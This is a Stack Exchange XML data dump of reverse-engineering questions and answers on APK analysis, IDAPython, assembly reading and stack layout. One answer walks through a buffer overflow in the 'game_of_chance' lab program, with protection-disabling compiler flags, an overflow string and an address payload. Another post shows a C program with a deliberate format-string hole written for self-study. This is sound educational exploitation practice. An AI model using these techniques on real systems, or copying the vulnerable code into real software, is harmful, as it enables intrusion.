true&#xA;lsyms    true&#xA;relocs   true&#xA;rpath    NONE&#xA;binsz    20471&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I am able to successfully cause a segmentation fault with the chars (such as 'A' or 'B'), however, when I do the A*100 followed by 08048e2c memory address which I am trying to jump execution to, the segfault happens, but the player.current_game function pointer address (which is right after the player.name buffer as shown above) is oddly &lt;code&gt;[DEBUG] current_game pointer @ 0x34303830&lt;/code&gt; rather than the address 08048e2c, which causes the segmentation fault since it can't execute 0x34303830. Additionally, I placed read/write watches on 0x804c0ec to see if I could find anything writing but was not successful in finding anything else.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2017-01-25T09:36:38.113" LastActivityDate="2017-01-25T21:18:02.990" Title="Can't get buffer to overflow over function pointer" Tags="|linux|c|buffer-overflow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14492" PostTypeId="1" CreationDate="2017-01-24T22:16:53.480" Score="1" ViewCount="309" Body="&lt;p&gt;So I've decompiled an APK and I believe that I have now is the source code (most with a bunch of random variables and method names, but from what I've read this is completely normal) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the app in question uses a signature in the registration request that changes everytime, this signature is not received from any request preceding it so I assume the only way to find out how this is being generated is through the APK. Do you guys have any direction on where exactly I should be looking?&lt;/p&gt;&#xA;" OwnerUserId="18881" LastActivityDate="2017-01-24T23:32:52.183" Title="Going around finding a signature used in a .APK file" Tags="|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14493" PostTypeId="2" ParentId="14492" CreationDate="2017-01-24T23:18:14.750" Score="3" Body="&lt;p&gt;The signature is likely a hash based on some string value and the current date (potentially milliseconds since the epoch).  This question is impossible to answer without the source code, but try looking in the code for any references to constant string values and references to &lt;code&gt;Time()&lt;/code&gt; or &lt;code&gt;Calendar()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17972" LastEditorUserId="17972" LastEditDate="2017-01-24T23:32:52.183" LastActivityDate="2017-01-24T23:32:52.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14494" PostTypeId="2" ParentId="14490" CreationDate="2017-01-25T08:45:14.197" Score="4" Body="&lt;p&gt;I'm sorry, but this certainly works for me. Lets go through this step by step, shall we?&lt;/p&gt;&#xA;&lt;h1&gt;1. Set up&lt;/h1&gt;&#xA;&lt;p&gt;I used your command line to compile the program:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gcc  -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've done one small change though, I changed&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#define DATAFILE &amp;quot;/var/chance.data&amp;quot; // File to store user data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#define DATAFILE &amp;quot;chance.data&amp;quot; // File to store user data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;for some peace of mind.&lt;/p&gt;&#xA;&lt;h1&gt;2. Play the game!&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jIRrv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jIRrv.png&quot; alt=&quot;lose :(&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see, I'm actually pretty bad at this. The only thing we need to remember is that we chose '1' at the game menu though.&lt;/p&gt;&#xA;&lt;h1&gt;3. Exploit it!&lt;/h1&gt;&#xA;&lt;p&gt;Lets start by changing our name to overwrite the pointer:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bixTa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bixTa.png&quot; alt=&quot;SegFault&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Something happened! Shoudln't that also work with just 4x BBBB at the end? Nope! But why? My best guess: stack alignment. Let's check this out.&lt;/p&gt;&#xA;&lt;h1&gt;4. Toying around&lt;/h1&gt;&#xA;&lt;p&gt;In game_of_choice.c I've changed&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;char name[100];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;char name[128];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And tried the same with 128 times 'A':&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It works. So it seems your problem was stack alignment&lt;/p&gt;&#xA;&lt;p&gt;The standard value of -mpreferred-stack-boundary seems to be 4, meaning gcc is trying to create 16-byte aligned stack boundaries.&lt;/p&gt;&#xA;&lt;h1&gt;5. ASCII fun&lt;/h1&gt;&#xA;&lt;p&gt;The program is reading a string from the command line. What we want is to pass the address &lt;code&gt;0x08048e2c&lt;/code&gt; in this string in a fashion is can be jumped too. The problem is that if we just write &lt;code&gt;08048e2c&lt;/code&gt;, we are actually passing &lt;code&gt;0x3038303438653263&lt;/code&gt; (&lt;code&gt;0&lt;/code&gt; turns into &lt;code&gt;0x30&lt;/code&gt;, &lt;code&gt;8&lt;/code&gt; -&amp;gt; &lt;code&gt;0x38&lt;/code&gt;, and so on each digit is a one byte number) as a value to the program. So we need to pass the actual bytes that make up the address.&lt;/p&gt;&#xA;&lt;p&gt;When we pass &lt;code&gt;\x2c\x8e\x04\x08&lt;/code&gt; in the string, we actually pass &lt;code&gt;0x5c7832635c7838655c7830345c3038&lt;/code&gt;, because it is still interpreted as a sequence of characters which are translated to byte values one by one.&lt;/p&gt;&#xA;&lt;p&gt;When we have a look at any ASCII table, we notice that &lt;code&gt;\x08&lt;/code&gt; translates to the special backspace-character. We certainly can not include it in text.&lt;/p&gt;&#xA;&lt;p&gt;Using perl -e or echo -e, we let the corresponding program know it should look out for escape sequences when it receives a string. So they actually output the 'real' byte values.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo -e '\x2c\x8e\x04\08'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-01-25T21:18:02.990" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14495" PostTypeId="1" CreationDate="2017-01-25T16:42:33.303" Score="1" ViewCount="444" Body="&lt;p&gt;I am facing a weird problem! When my IDAPython script crashes, it produces a stack trace in the IDA default warning box that pops up right in front. The size of the box is neither adequate enough to hold the entire stack trace, nor it has any vertical scrollbar. Hence, the important part of the message is truncated, thus making debugging difficult. Is it possible to route the stack trace to console?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-26T12:25:50.543" Title="Is it possible to redirect IDAPython stack trace to console?" Tags="|ida|idapython|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14496" PostTypeId="2" ParentId="14495" CreationDate="2017-01-25T17:18:19.967" Score="2" Body="&lt;p&gt;Yes, it is possible. You can enclose your whole script into try catch clause and print the stack trace with &lt;code&gt;traceback&lt;/code&gt; module such as in this example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import traceback&#xA;try:&#xA;    do_your_work()&#xA;except:&#xA;    traceback.print_exc()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will print your stack according to &lt;code&gt;stdout&lt;/code&gt; handle definition (which means output window by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested and works (prints all the stack into output window) in Ida 6.95 with the following script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import traceback&#xA;&#xA;&#xA;def f(n):&#xA;    if n &amp;lt; 600:&#xA;        f(n+1)&#xA;    else:&#xA;        0/0&#xA;&#xA;try:&#xA;    f(0)&#xA;except:&#xA;    traceback.print_exc()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2017-01-26T12:25:50.543" LastActivityDate="2017-01-26T12:25:50.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14497" PostTypeId="2" ParentId="9309" CreationDate="2017-01-25T17:54:24.933" Score="1" Body="&lt;p&gt;I have buy a decibel meter Koolertron SL1361 from Amazon and it's produce files  *.wsn, but software don't work so I use this notes to understand.&#xA;The last theory 2 it's right, every sample data is 4 bytes long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the 32 bit(four byte) is named bit31-0, here my decode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bit 31-24 &amp;amp; 17-16  Value in Db (10 bits), must be divide by 10 and after add 30 to obtain the correct value &#xA;Bit 22 filter mode 0=Fast 1=Slow&#xA;Bit 21 filter mode 0=A 1=C&#xA;Bit 12-8 &amp;amp; 23 = seconds &#xA;Bit 7-3  = hours&#xA;bit 2-0 &amp;amp; 15-13 = minutes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are coding in positive binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works.&lt;/p&gt;&#xA;" OwnerUserId="18891" LastActivityDate="2017-01-25T17:54:24.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14498" PostTypeId="1" CreationDate="2017-01-25T19:52:25.020" Score="-3" ViewCount="1326" Body="&lt;p&gt;how should I read this and what does it do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00400526 (main):&#xA;.text:00400526 55                               push   %rbp&#xA;.text:00400527 48 89 e5                         mov    %rsp,%rbp&#xA;.text:0040052a 48 83 ec 20                      sub    $0x20,%rsp&#xA;.text:0040052e 48 b8 4d 61 73 73 69 76 6e 69    movabs $0x696e76697373614d,%rax&#xA;.text:00400538 48 89 45 e0                      mov    %rax,-0x20(%rbp)&#xA;.text:0040053c 48 b8 79 20 6d 61 73 73 69 76    movabs $0x76697373616d2079,%rax&#xA;.text:00400546 48 89 45 e8                      mov    %rax,-0x18(%rbp)&#xA;.text:0040054a c7 45 f0 00 00 00 00             movl   $0x0,-0x10(%rbp)&#xA;.text:00400551 c7 45 fc 00 00 00 00             movl   $0x0,-0x4(%rbp)&#xA;.text:00400558 eb 22                            jmp    0x0040057c&#xA;.text:0040055a 8b 45 fc                         mov    -0x4(%rbp),%eax&#xA;.text:0040055d 48 98                            cltq   &#xA;.text:0040055f 0f b6 44 05 e0                   movzbl -0x20(%rbp,%rax,1),%eax&#xA;.text:00400564 0f be c0                         movsbl %al,%eax&#xA;.text:00400567 89 c6                            mov    %eax,%esi&#xA;.text:00400569 bf 24 06 40 00                   mov    $0x400624,%edi&#xA;.text:0040056e b8 00 00 00 00                   mov    $0x0,%eax&#xA;.text:00400573 e8 88 fe ff ff                   callq  0x00400400&#xA;.text:00400578 83 45 fc 01                      addl   $0x1,-0x4(%rbp)&#xA;.text:0040057c 8b 45 fc                         mov    -0x4(%rbp),%eax&#xA;.text:0040057f 83 f8 14                         cmp    $0x14,%eax&#xA;.text:00400582 76 d6                            jbe    0x0040055a&#xA;.text:00400584 be 14 00 00 00                   mov    $0x14,%esi&#xA;.text:00400589 bf 28 06 40 00                   mov    $0x400628,%edi&#xA;.text:0040058e b8 00 00 00 00                   mov    $0x0,%eax&#xA;.text:00400593 e8 68 fe ff ff                   callq  0x00400400&#xA;.text:00400598 b8 00 00 00 00                   mov    $0x0,%eax&#xA;.text:0040059d c9                               leaveq &#xA;.text:0040059e c3                               retq   &#xA;.text:0040059f 90                               nop&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="18894" LastEditorUserId="18894" LastEditDate="2017-01-25T20:10:11.290" LastActivityDate="2017-01-26T00:17:05.073" Title="How should i read this assembly?" Tags="|disassembly|assembly|x86|" AnswerCount="1" CommentCount="5" ClosedDate="2017-01-26T10:55:34.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="14499" PostTypeId="2" ParentId="14045" CreationDate="2017-01-25T20:03:46.733" Score="1" Body="&lt;p&gt;Whenever I had garbage it was due to incorrect baud rate or other settings, but you've tried those. Otherwise, check the connection carefully and make sure it is soldered well. Also ensure your TTL chip is functioning, if applicable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The repeating question marks don't sound like garbage though - they may be Unicode that your terminal can't display or something doesn't support, maybe 7-bit chars, I dunno.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="1563" LastEditDate="2017-01-27T09:30:18.847" LastActivityDate="2017-01-27T09:30:18.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14501" PostTypeId="2" ParentId="14498" CreationDate="2017-01-26T00:17:05.073" Score="2" Body="&lt;p&gt;Instead of trying to read the raw disassembly, get a decompiler reconstruct the near-perfect source for you. Since the function is small, a capable decompiler will produce satisfactory result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save the disassembly above in a file called &lt;code&gt;asm&lt;/code&gt;. Delete the first line while copying.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00400526 55                               push   %rbp&#xA;.text:00400527 48 89 e5                         mov    %rsp,%rbp&#xA;.text:0040052a 48 83 ec 20                      sub    $0x20,%rsp&#xA;.text:0040052e 48 b8 4d 61 73 73 69 76 6e 69    movabs $0x696e76697373614d,%rax&#xA;.text:00400538 48 89 45 e0                      mov    %rax,-0x20(%rbp)&#xA;.text:0040053c 48 b8 79 20 6d 61 73 73 69 76    movabs $0x76697373616d2079,%rax&#xA;.text:00400546 48 89 45 e8                      mov    %rax,-0x18(%rbp)&#xA;.text:0040054a c7 45 f0 00 00 00 00             movl   $0x0,-0x10(%rbp)&#xA;.text:00400551 c7 45 fc 00 00 00 00             movl   $0x0,-0x4(%rbp)&#xA;.text:00400558 eb 22                            jmp    0x0040057c&#xA;.text:0040055a 8b 45 fc                         mov    -0x4(%rbp),%eax&#xA;.text:0040055d 48 98                            cltq   &#xA;.text:0040055f 0f b6 44 05 e0                   movzbl -0x20(%rbp,%rax,1),%eax&#xA;.text:00400564 0f be c0                         movsbl %al,%eax&#xA;.text:00400567 89 c6                            mov    %eax,%esi&#xA;.text:00400569 bf 24 06 40 00                   mov    $0x400624,%edi&#xA;.text:0040056e b8 00 00 00 00                   mov    $0x0,%eax&#xA;.text:00400573 e8 88 fe ff ff                   callq  0x00400400&#xA;.text:00400578 83 45 fc 01                      addl   $0x1,-0x4(%rbp)&#xA;.text:0040057c 8b 45 fc                         mov    -0x4(%rbp),%eax&#xA;.text:0040057f 83 f8 14                         cmp    $0x14,%eax&#xA;.text:00400582 76 d6                            jbe    0x0040055a&#xA;.text:00400584 be 14 00 00 00                   mov    $0x14,%esi&#xA;.text:00400589 bf 28 06 40 00                   mov    $0x400628,%edi&#xA;.text:0040058e b8 00 00 00 00                   mov    $0x0,%eax&#xA;.text:00400593 e8 68 fe ff ff                   callq  0x00400400&#xA;.text:00400598 b8 00 00 00 00                   mov    $0x0,%eax&#xA;.text:0040059d c9                               leaveq &#xA;.text:0040059e c3                               retq   &#xA;.text:0040059f 90                               nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the following command to save the result in a file called &lt;code&gt;asm_bytes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cat asm | cut -d ' ' -f 2- | awk -F &quot;  &quot; '{ print $1; }' &amp;gt; asm_bytes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;55&#xA;48 89 e5&#xA;48 83 ec 20&#xA;48 b8 4d 61 73 73 69 76 6e 69&#xA;48 89 45 e0&#xA;48 b8 79 20 6d 61 73 73 69 76&#xA;48 89 45 e8&#xA;c7 45 f0 00 00 00 00&#xA;c7 45 fc 00 00 00 00&#xA;eb 22&#xA;8b 45 fc&#xA;48 98&#xA;0f b6 44 05 e0&#xA;0f be c0&#xA;89 c6&#xA;bf 24 06 40 00&#xA;b8 00 00 00 00&#xA;e8 88 fe ff ff&#xA;83 45 fc 01&#xA;8b 45 fc&#xA;83 f8 14&#xA;76 d6&#xA;be 14 00 00 00&#xA;bf 28 06 40 00&#xA;b8 00 00 00 00&#xA;e8 68 fe ff ff&#xA;b8 00 00 00 00&#xA;c9&#xA;c3&#xA;90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the following command to save the output in a file called &lt;code&gt;bin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cat asm_bytes | sed 's/ /\\x/g' | sed 's/^/\\x/' | tr -d &quot;\n&quot; &amp;gt; bin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load the binary file in IDA 64 bit, set processor type to &lt;code&gt;MetaPC&lt;/code&gt;, loading offset to &lt;code&gt;0x400526&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 5&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fix the disassembly by pressing &lt;code&gt;C&lt;/code&gt; to mark the code region and the use the &lt;code&gt;Create Function&lt;/code&gt; option. This will create a function starting from the first instruction (&lt;code&gt;PUSH&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 6&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;code&gt;F5&lt;/code&gt; to get the decompiled, C-like source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hg7T6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hg7T6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-26T00:17:05.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14503" PostTypeId="1" AcceptedAnswerId="14516" CreationDate="2017-01-26T09:05:55.067" Score="1" ViewCount="2200" Body="&lt;p&gt;I'm trying to perform static analysis on Android framework code, and I'm coming across some Java methods that are calling JNI functions. How do I figure out which native libraries these functions reside in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15717" LastActivityDate="2017-01-28T06:42:44.213" Title="How to figure out which library a native JNI function is calling?" Tags="|android|libraries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14504" PostTypeId="1" CreationDate="2017-01-26T15:45:06.560" Score="0" ViewCount="1096" Body="&lt;p&gt;I am in search of looking an open source sandbox that has the following features: &#xA;- route my network traffic to the sandbox for analysis&#xA;- perform analysis on network traffic to detect malicious activities or generate intelligence from traffic&#xA;what I am mostly interested is to route netflow data if possible!&#xA;I have checked cuckoo sandbox but it only has the ability to submit samples! I could not find a way that I can route my network traffic to cuckoo.&lt;/p&gt;&#xA;" OwnerUserId="8671" LastActivityDate="2017-02-26T17:27:06.607" Title="sandbox for analyzing network traffic" Tags="|malware|sandbox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14505" PostTypeId="2" ParentId="14503" CreationDate="2017-01-26T15:56:45.737" Score="2" Body="&lt;p&gt;It's been a while, but there should be a static code block with the .so they are calling. I would need to disassemble a file using a shared library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will resemble:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/8437106/java-jni-call-to-load-library&quot;&gt;https://stackoverflow.com/questions/8437106/java-jni-call-to-load-library&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18726" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-01-26T15:56:45.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14506" PostTypeId="2" ParentId="14504" CreationDate="2017-01-26T17:55:19.007" Score="0" Body="&lt;p&gt;Give a try to &lt;a href=&quot;https://www.sandboxie.com/index.php?HomeUse&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sandboxie&lt;/a&gt;. It is feature-packed, comes with an interesting licensing model which &lt;a href=&quot;https://www.sandboxie.com/index.php?FAQ_Licensing&quot; rel=&quot;nofollow noreferrer&quot;&gt;does not require&lt;/a&gt; you to immediately shell out your hard earned bucks.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sandboxie is shareware software. The free version is missing a few&#xA;  features which are available in the paid version. After 30 days of&#xA;  use, the free version displays reminders to upgrade to the paid&#xA;  version, but remains functional. For personal use, you are encouraged,&#xA;  but not required, to upgrade to the paid version. &#xA;  For non-personal use (including commercial, educational, governmental, and not-for-profit use), Sandboxie must be properly&#xA;  licensed. See Commercial Licensing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-26T17:55:19.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14507" PostTypeId="2" ParentId="90" CreationDate="2017-01-26T19:51:12.943" Score="0" Body="&lt;p&gt;I used &lt;a href=&quot;https://noraesae.github.io/perfect-scrollbar/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://noraesae.github.io/perfect-scrollbar/&lt;/a&gt; that is very similar and easy to use&lt;/p&gt;&#xA;" OwnerUserId="18906" LastActivityDate="2017-01-26T19:51:12.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14508" PostTypeId="1" AcceptedAnswerId="14510" CreationDate="2017-01-27T05:25:11.807" Score="4" ViewCount="508" Body="&lt;p&gt;I am unable to locate a variable on the stack. I'm using Fedora 25 x64 but with a 32 bit program, btw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;char* text1 = &quot;AAAAAAAAAAAAA&quot;;&#xA;int target;&#xA;char* text2 = &quot;BBBBBBBBBBBBB&quot;;&#xA;void vuln(char *string)&#xA;{&#xA;&#xA;  printf(string);&#xA;&#xA;  if(target) {&#xA;      printf(&quot;you have modified the target :)\n&quot;);&#xA;  }&#xA;}&#xA;&#xA;int main(int argc, char **argv)&#xA;{&#xA;  vuln(argv[1]);&#xA;  printf(&quot;Program name: %s&quot;, argv[0]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/*After stepping into main and doing x/500wx $esp to examine the stack in gdb, here's a piece:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xffffcc00: 0x00000000  0x00000000  0x00000000  0xf7fe0ca0&#xA;0xffffcc10: 0xf7df12af  0xf7fd765f  0x00000000  0x00000000&#xA;0xffffcc20: 0x00000000  0x00000000  0x00000000  0x0d696910&#xA;0xffffcc30: 0x00000000  0x00000000  0xf7fe0b79  0xf7de1ef0&#xA;0xffffcc40: 0x00000961  0xf7fd13d8  0x7c96f087  0xf7fe1399&#xA;0xffffcc50: 0x00000001  0x00000004  0xf7deb534  0x00000961&#xA;0xffffcc60: 0xf7deb604  0xf7fd13d8  0xffffccbc  0xffffccb8&#xA;0xffffcc70: 0x00000003  0x00000000  0xf7ffcfcc  0xf7fd764c&#xA;0xffffcc80: 0xf7deb534  0x7c96f087  0xf7deb604  0xf7de1f12&#xA;0xffffcc90: 0x03e4b784  0xffffccb8  0xffffcd48  0x00000961&#xA;0xffffcca0: 0x00000000  0x00000000  0x00000000  0x00000000&#xA;0xffffccb0: 0x00000000  0x00000000  0x00000000  0x00000000&#xA;(gdb) print &amp;amp;text1&#xA;$2 = (char **) 0x804a01c &amp;lt;text1&amp;gt;&#xA;(gdb) print text1&#xA;$3 = 0x8048544 'A' &amp;lt;repeats 13 times&amp;gt;&#xA;(gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, my text1 variable's address is in the &lt;code&gt;0x804&lt;/code&gt; area, whereas my stack is in &lt;code&gt;0xffffcc&lt;/code&gt; area which is why I am completely lost. You can probably see what I'm trying to do, but I'm trying to locate 0x414141's followed by the target, followed by 0x42424242's but there are no 41s or 42s anywhere in the stack area near esp. I am currently educating myself on format string vulnerabilities, but at this point, I can't even locate the variables on the stack. Is there something I'm missing? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-02-01T05:38:43.877" Title="Cannot locate a variable on the stack" Tags="|strings|vulnerability-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14509" PostTypeId="2" ParentId="14508" CreationDate="2017-01-27T07:24:44.277" Score="-1" Body="&lt;p&gt;Where in main are you when you dump the stack? Those variables are global initialised variables, they won't be on the stack until they are pushed there before the function call. Until then they will be in the bss or data section of your program.&#xA;Print the disassembly of main and you should see a reference to your string being pushed onto the stack just before the call to your function.&#xA;This could be a push op or a mov op btw, depending what your compiler settings are.&lt;/p&gt;&#xA;" OwnerUserId="18769" LastActivityDate="2017-01-27T07:24:44.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14510" PostTypeId="2" ParentId="14508" CreationDate="2017-01-27T07:28:17.680" Score="7" Body="&lt;p&gt;The reason the you are unable to locate &lt;code&gt;text1&lt;/code&gt; on the program runtime stack is that during runtime &lt;code&gt;text1&lt;/code&gt; is in the &lt;code&gt;data&lt;/code&gt; segment of the process running in virtual memory, not the stack. In order for a reference to &lt;code&gt;text1&lt;/code&gt; to be written to the stack &lt;code&gt;text1&lt;/code&gt; must be passed as an argument to a function which is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a function is called and a new stack frame is created on the runtime stack for that function, memory is allocated on the stack for any local variables declared in that function as well.  However, &lt;code&gt;text1&lt;/code&gt;, &lt;code&gt;text2&lt;/code&gt; and &lt;code&gt;target&lt;/code&gt; are global variables declared outside of any function. A direct consequence of this is that memory will not be allocated for  &lt;code&gt;text1&lt;/code&gt;, &lt;code&gt;text2&lt;/code&gt; and &lt;code&gt;target&lt;/code&gt; on the stack. Instead, &lt;code&gt;text1&lt;/code&gt; and &lt;code&gt;text2&lt;/code&gt; will be in the process's &lt;code&gt;data&lt;/code&gt; segment and &lt;code&gt;target&lt;/code&gt; will be in the &lt;code&gt;bss&lt;/code&gt; segment. In order to understand why, familiarity with the ELF and the &lt;a href=&quot;https://refspecs.linuxbase.org/elf/gabi41.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;System V Application Binary Interface&lt;/a&gt; is essential.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;x86 Linux Process Layout in Virtual Memory&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For some context, here is a diagram of a process's layout in virtual memory on an x86 Linux system from Gustavo Duarte's article titled &lt;a href=&quot;http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Anatomy of a Program in Memory&quot;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2qAhx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2qAhx.png&quot; alt=&quot;Process Layout in Virtual Memory&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A look at this diagram will help clarify the significance of the memory addresses you are seeing. On an x86 Linux system, the stack is high in virtual memory and grows downward. This is why when the stack is examined one sees memory addresses such as &lt;code&gt;0xffffcc10&lt;/code&gt; and &lt;code&gt;0xffffccb0&lt;/code&gt;. The location in virtual memory of global variables &lt;code&gt;text1&lt;/code&gt;, &lt;code&gt;text2&lt;/code&gt; and &lt;code&gt;target&lt;/code&gt; will be more proximate to the program entry point since the 